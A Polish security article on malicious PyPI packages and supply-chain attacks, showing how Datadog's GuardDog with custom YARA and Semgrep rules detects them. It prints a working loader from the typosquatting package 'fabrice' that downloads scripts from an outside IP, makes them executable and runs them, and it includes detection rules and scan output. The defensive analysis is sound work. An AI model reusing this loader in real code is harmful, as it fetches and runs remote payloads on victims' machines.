P
rzez ostatni rok branża odnotowała wzrost ataków wymierzonych w łańcuch dostaw systemu (ang. supply chain threats). Złośliwa modyfikacja w tym ataku obejmuje narzędzia, kod i infrastrukturę potrzebną do wdrożenia aplikacji (często z wykorzystaniem komponentów open source lub zewnętrznych dostawców). Jednym z powszechnych sposobów przeprowadzania tych ataków przez cyberprzestępców jest kompromitacja lub przesyłanie złośliwych zależności do repozytoriów pakietów języka Python – Python Package Index (PyPI). W ramach PyPI, które jest szanowanym oraz akceptowanym repozytorium i hostuje oszałamiającą liczbę pakietów języka Python, wyłoniła się niepokojąca rzeczywistość. Niezrównana popularność repozytorium nieumyślnie przyciągnęła uwagę nieuczciwych podmiotów, które żarliwie starają się wykorzystać jego ogromną bazę użytkowników, potajemnie rozpowszechniając złośliwe pakiety.
Z założenia, jeżeli ktoś zakłada projekt PyPI to tylko osoby powiązane z tym projektem powinny móc przesyłać, usuwać lub w inny sposób modyfikować ten projekt. Z kolei od strony użytkownika jeżeli zobaczymy, iż jest on autorstwa kogoś komu ufamy powinniśmy być pewni, iż nikt inny nie wprowadza zmian w tym projekcie. Od strony serwisu bezpieczeństwo każdego indywidualnego konta na PyPI opiera się na obsłudze 2FA przy użyciu TOTP i WebAuthN, obsługę tokenów API oraz umożliwienie przesyłania plików dzięki tokenów o krótkim czasie życia. Do niedawna tylko najczęściej pobierane projekty obowiązywało włączenie 2FA. Teraz do końca 2023 roku w ramach długoterminowego zabezpieczania ekosystemu Pythona każde konto obsługujące jakikolwiek projekt lub organizację na PyPI musiało włączyć 2FA.
Ruch ten jednak nie rozwiąże wszystkich problemów, ponieważ każdy etap życia systemu jest podatny na atak – od przechowywania kodu źródłowego po platformę kompilacji. Wśród tych potencjalnych punktów podatności na szczególną uwagę zasługują zależności, ponieważ oferują one łatwo dostępną drogę do aplikacji i jej użytkowników. Ponieważ pakiety systemu open source są tak szeroko używane, stanowią kuszący i łatwy cel dla atakujących, a PyPI nie jest wyjątkiem. Zaobserwowane w przeszłości złośliwe pakiety umożliwiły aktorom dostęp do maszyn i środowisk produkcyjnych w celu kradzieży wrażliwych danych, uruchamiania koni trojańskich i cryptojackingu.
Typowy atak:
W celu uzyskania dostępu do systemu, osoby atakujące często wykorzystują technikę typosquattingu, w której cyberprzestępca celowo nazywa pakiet tak, aby swoją podobizną naśladował inny popularny. To nakłania programistów, którzy popełnili błąd w pisowni do zainstalowania złośliwego pakietu. Inne techniki infekcji obejmują włamanie się na konto opiekuna popularnego pakietu lub jego konto e-mail. Po zainstalowaniu złośliwego pakietu zwykle wykonuje on bezpośrednio ładunek (ang. payload) za pośrednictwem funkcji exec() lub eval(). Inne warianty pobierają kolejny plik wykonywalny uruchamiający drugi etap infekcji (ang. stage #2). Złośliwy kod często wykonywany jest podczas instalacji, definiując szkodliwe instrukcję w pliku __init__.py, który jest automatycznie wykonywany po zaimportowaniu modułu. Istnieją również wersje, które robią to dopiero w skryptach poinstalacyjnych. Ostatnim etapem jest eksfiltracja danych. Informacje systemowe, zmienne środowiskowe, hasła, klucze, ciasteczka, tokeny i inne wszystkie wrażliwe rzeczy są wysyłane (zwykle za pośrednictwem żądań HTTP(S)) na zdalny serwer.
Obrona:
Narzędzia do statycznej analizy kodu są zwykle używane do identyfikacji podatności. Na tej samej podstawie firma Datadog stworzyła projekt GuardDog, który wykorzystuje tę samą technikę do identyfikowania złośliwych pakietów Python. Oprócz tego jest używany jeszcze mechanizm heurystyki, który identyfikuje typowe (patrz wyżej) techniki używane przez atakujących, a nie tylko sygnatury znanych szkodliwych pakietów – można go używać do identyfikowania złośliwych pakietów, których jeszcze nie widziano w szumie internetu. Mechanizm ten skanuje dwie lokalizację: kod źródłowy oraz metadane pakietu na repozytorium PyPI. Sercem heurystyki jest inne popularne narzędzie Semgrep. Funkcja śledzenia zanieczyszczeń w kodzie, która analizuje przepływ danych przez kod, jest szczególnie przydatna przy wykrywaniu eksfiltracji danych i pobierania plików wykonywalnych. W dodatku od wersji 2.0 GuardDog obsługuje również reguły YARA służące do wyszukiwania złożonych indykatorów tekstowych i binarnych umieszczonych w plikach lub w pamięci. Umożliwia to użytkownikom na korzystanie z bogatego zbioru publicznie dostępnych reguł, aby wykrywać więcej złośliwego systemu powiązanego z konkretnymi zagrożeniami. Dla przykładu przeanalizujmy krótki wycinek szkodliwego kodu. Pochodzi on z pakietu fabrice udającego pakiet fabric
def linuxThread(): try: home = expanduser("~") directory = home + "/.local/bin/vscode" fileE = home + "/.local/bin/vscode" + "/per.sh" if not os.path.exists(directory): os.makedirs(directory) # Download content from external server a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce" response = requests.get(a4) text = response.text # Split the response data into multiple files dataList, finalList = [], [] for line in text.splitlines(): if "SPLITT" in line: finalList.append(dataList) dataList = [] else: if "directory" in line: line = line.replace("{directory}", directory) dataList.append(line) # Create and write to shell script files with open(directory + "/service.sh", "w") as fp: for line in finalList[0]: fp.write(line + "\n") with open(directory + "/app.py", "w") as fp: for line in finalList[1]: fp.write(line + "\n") with open(directory + "/info.py", "w") as fp: for line in finalList[2]: fp.write(line + "\n") with open(directory + "/per.sh", "w") as fp: for line in finalList[3]: fp.write(line + "\n") # Set execute permissions and run the script os.chmod(fileE, 0o755) subprocess.check_call(fileE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) except Exception as e: passKod ten zapisujemy jako plik: malware.py i pakujemy do postaci .tar.gz. Kolejnym krokiem jest instalacja GuardDog:
cd VMS python3 -m venv guarddog source guarddog/bin/activate pip install guarddogDla przykładu stworzymy teraz dwie, dodatkowe reguły wyłapujące “anomalię” w kodzie. Pierwsza z nich będzie oparta o silnik YARA i będzie wyłapywać publiczny adres IP:
rule strange_IP_address { strings: $ipv4 = /[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/ $lan_a = /(10)(\.([2]([0-5][0-5]|[01234][6-9])|[1][0-9][0-9]|[1-9][0-9]|[0-9])){3}/ $lan_b = /(172)\.(1[6-9]|2[0-9]|3[0-1])(\.(2[0-4]\d|25[0-5]|1\d\d|\d{1,2})){2}/ $lan_c = /(192)\.(168)(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])){2}/ $localhost = /(127)\.0\.0\.1/ condition: $ipv4 and not ($lan_a or $lan_b or $lan_c or $localhost) }Druga będzie oparta o silnik Semgrep i będzie wyłapywać konkatenację dla ciągu tekstowego: “http://“:
rules: - id: http-concatenation languages: - python message: Found http string concatenation patterns: - pattern-regex: \"ht\"\s\+\s\"tp"\s\+\s\":\"\s\+\s\"\/\/\" severity: ERRORJeśli teraz skopiujemy stworzone reguły do katalogu: guarddog/analyzer/sourcecode i przeskanujemy sfabrykowaną paczkę powinniśmy otrzymać dwie detekcje:
agresor@darkstar~$ guarddog pypi scan /VMS/malware.tar.gz Found 2 potentially malicious indicators in /VMS/malware.tar.gz http-concatenation: found 1 source code matches * Found http string concatenation at malware.py:11 a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce" strange_IP_address: found 1 source code matches * strange_IP_address rule matched at malware.py:331 b'89.44.9.227'W ten sposób możemy również skanować pakiety bezpośrednio z repozytorium PyPI przed ich instalacją:
agresor@darkstar~$ guarddog pypi scan httpx Found 0 potentially malicious indicators scanning httpxJak widzimy GuardDog może stanowić dobry i elastyczny mechanizm do integracji z systemami CI/CD. Ponadto, jeżeli nie działamy na tak wielką skalę wdrożeniową możemy go wykorzystywać jako doraźny skaner przed instalacją nowej paczki lub nowej wersji znanej nam paczki w swoich prywatnych projektach. Dzięki możliwości pisania własnych reguł w dwóch zaawansowanych silnikach zespoły bezpieczeństwa mogą bardzo gwałtownie aktualizować reguły dla zespołów programistycznych o pojawiające się zagrożenia lub nowe pomysły atakujących mające na celu ominięcie detekcji.
Podsumowanie:
Rozwój i rozpowszechnienie systemu typu open source wraz z menedżerami pakietów sprawiły, iż atakującym łatwiej niż kiedykolwiek jest przemycać niebezpieczne pakiety do niczego podejrzewających systemów. Wraz ze wzrostem wszechobecności systemu w naszym codziennym życiu, zagrożenie złośliwymi pakietami stało się poważniejsze. Atakujący maskują te pakiety jako legalne oprogramowanie i wykorzystują luki oraz błędy ludzkie, aby przełamać w ten sposób zewnętrzne zabezpieczenia. Tego typu infekcje mogą skończyć się znacznymi szkodami w postaci kradzieży danych, nadmiernym użyciem mocy obliczeniowej lub przejęciem kontroli nad systemem i siecią. Walka z tego typu zagrożeniem powinna zacząć się od każdego programisty, który dzisiaj musi traktować bezpieczeństwo swojego systemu na każdym etapie jego rozwoju – niezależnie czy jest to projekt prywatny czy firmowy. Wdrożenie solidnych środków bezpieczeństwa poczynając od kont do serwisów umożliwiających rozwój i hostowanie oprogramowania, po automatyczne skanowanie i testowanie kodu wraz z zależnościami (o ręcznym przeglądzie zmian w kodzie i testach penetracyjnych nie wspominając). Ponadto, bycie na bieżąco z poprawkami, czy aktualizacjami do systemów i programów, na których się tworzy oprogramowanie skutecznie pomaga uniemożliwić atakującym wykorzystanie znanych luk.
Więcej informacji: Finding malicious PyPI packages through static code analysis: Meet GuardDog, Introducing GuardDog 2.0: YARA scanning, user-supplied rules, and Golang support, Writing YARA rules, Writing Semgrep rules, Python i atak na łańcuch dostaw